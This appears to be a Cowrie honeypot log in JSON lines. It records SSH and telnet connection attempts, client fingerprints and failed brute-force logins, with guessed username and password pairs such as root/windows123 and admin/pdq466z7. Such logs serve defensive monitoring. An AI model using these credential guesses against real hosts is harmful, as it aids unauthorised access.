{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:42:23.414065Z","src_ip":"46.24.47.94","session":"7ca41077b2ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:42:23.522020Z","src_ip":"46.24.47.94","session":"7ca41077b2ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"windows123","message":"login attempt [root/windows123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:42:23.990209Z","src_ip":"46.24.47.94","session":"7ca41077b2ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:42:25.102678Z","src_ip":"46.24.47.94","session":"7ca41077b2ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":57936,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc27859d6457","protocol":"ssh","message":"New connection: 103.248.120.6:57936 (10.17.0.5:22) [session: dc27859d6457]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:42:29.779383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:42:29.784091Z","src_ip":"103.248.120.6","session":"dc27859d6457","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.146.202.174","src_port":44470,"dst_ip":"10.17.0.5","dst_port":22,"session":"db13e3e94187","protocol":"ssh","message":"New connection: 103.146.202.174:44470 (10.17.0.5:22) [session: db13e3e94187]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:42:29.816705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:42:29.821406Z","src_ip":"103.146.202.174","session":"db13e3e94187","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:42:30.008036Z","src_ip":"103.248.120.6","session":"dc27859d6457","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:42:30.068940Z","src_ip":"103.146.202.174","session":"db13e3e94187","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mcserver","password":"1","message":"login attempt [mcserver/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:42:30.929678Z","src_ip":"103.248.120.6","session":"dc27859d6457","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test333","message":"login attempt [root/test333] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:42:31.091848Z","src_ip":"103.146.202.174","session":"db13e3e94187","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:42:32.152805Z","src_ip":"103.248.120.6","session":"dc27859d6457","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:42:32.346307Z","src_ip":"103.146.202.174","session":"db13e3e94187","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.07832098007202,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:42:44.829025Z","src_ip":"20.123.41.163","session":"d0197805daa2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.106.188.32","src_port":33746,"dst_ip":"10.17.0.5","dst_port":22,"session":"a707a923c17e","protocol":"ssh","message":"New connection: 103.106.188.32:33746 (10.17.0.5:22) [session: a707a923c17e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:42:57.842560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:42:57.847480Z","src_ip":"103.106.188.32","session":"a707a923c17e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:42:58.052345Z","src_ip":"103.106.188.32","session":"a707a923c17e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"user@123","message":"login attempt [root/user@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:42:59.039090Z","src_ip":"103.106.188.32","session":"a707a923c17e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:43:00.314439Z","src_ip":"103.106.188.32","session":"a707a923c17e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:43:01.974559Z","src_ip":"143.64.168.136","session":"fa9d75ec6c95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.4606499671936,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:43:11.504111Z","src_ip":"20.123.41.163","session":"bb269dad9939","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.226.207.94","src_port":49443,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9b3c1e6aafd","protocol":"telnet","message":"New connection: 38.226.207.94:49443 (159.203.135.109:23) [session: f9b3c1e6aafd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:43:13.576781Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.24.47.94","src_port":52894,"dst_ip":"10.17.0.5","dst_port":22,"session":"f370050bc98c","protocol":"ssh","message":"New connection: 46.24.47.94:52894 (10.17.0.5:22) [session: f370050bc98c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:43:22.679889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:43:22.684709Z","src_ip":"46.24.47.94","session":"f370050bc98c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:43:22.793300Z","src_ip":"46.24.47.94","session":"f370050bc98c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"something1","message":"login attempt [root/something1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:43:23.257897Z","src_ip":"46.24.47.94","session":"f370050bc98c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"155.4.244.179","src_port":62425,"dst_ip":"10.17.0.5","dst_port":22,"session":"c443b71adb42","protocol":"ssh","message":"New connection: 155.4.244.179:62425 (10.17.0.5:22) [session: c443b71adb42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:43:23.878392Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:43:23.882640Z","src_ip":"155.4.244.179","session":"c443b71adb42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:43:23.987404Z","src_ip":"155.4.244.179","session":"c443b71adb42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:43:24.367789Z","src_ip":"46.24.47.94","session":"f370050bc98c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz@WSX!QAZ","message":"login attempt [ubuntu/1qaz@WSX!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:43:24.885070Z","src_ip":"155.4.244.179","session":"c443b71adb42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:43:25.997064Z","src_ip":"155.4.244.179","session":"c443b71adb42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.888816118240356,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:43:27.465477Z","src_ip":"38.226.207.94","session":"f9b3c1e6aafd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.146.202.174","src_port":32992,"dst_ip":"10.17.0.5","dst_port":22,"session":"3df801e0fb52","protocol":"ssh","message":"New connection: 103.146.202.174:32992 (10.17.0.5:22) [session: 3df801e0fb52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:43:29.744940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:43:29.748933Z","src_ip":"103.146.202.174","session":"3df801e0fb52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:43:29.999548Z","src_ip":"103.146.202.174","session":"3df801e0fb52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pdq466z7","message":"login attempt [admin/pdq466z7] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:43:31.031442Z","src_ip":"103.146.202.174","session":"3df801e0fb52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:43:32.282566Z","src_ip":"103.146.202.174","session":"3df801e0fb52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.106.188.32","src_port":50290,"dst_ip":"10.17.0.5","dst_port":22,"session":"817679f92aa8","protocol":"ssh","message":"New connection: 103.106.188.32:50290 (10.17.0.5:22) [session: 817679f92aa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:43:57.111569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:43:57.116253Z","src_ip":"103.106.188.32","session":"817679f92aa8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:43:57.412124Z","src_ip":"103.106.188.32","session":"817679f92aa8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntulinux","message":"login attempt [root/ubuntulinux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:43:58.550967Z","src_ip":"103.106.188.32","session":"817679f92aa8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:43:59.821374Z","src_ip":"103.106.188.32","session":"817679f92aa8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.189.177","src_port":59896,"dst_ip":"10.17.0.5","dst_port":22,"session":"99c3ea607254","protocol":"ssh","message":"New connection: 209.99.189.177:59896 (10.17.0.5:22) [session: 99c3ea607254]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:44:05.109126Z"}
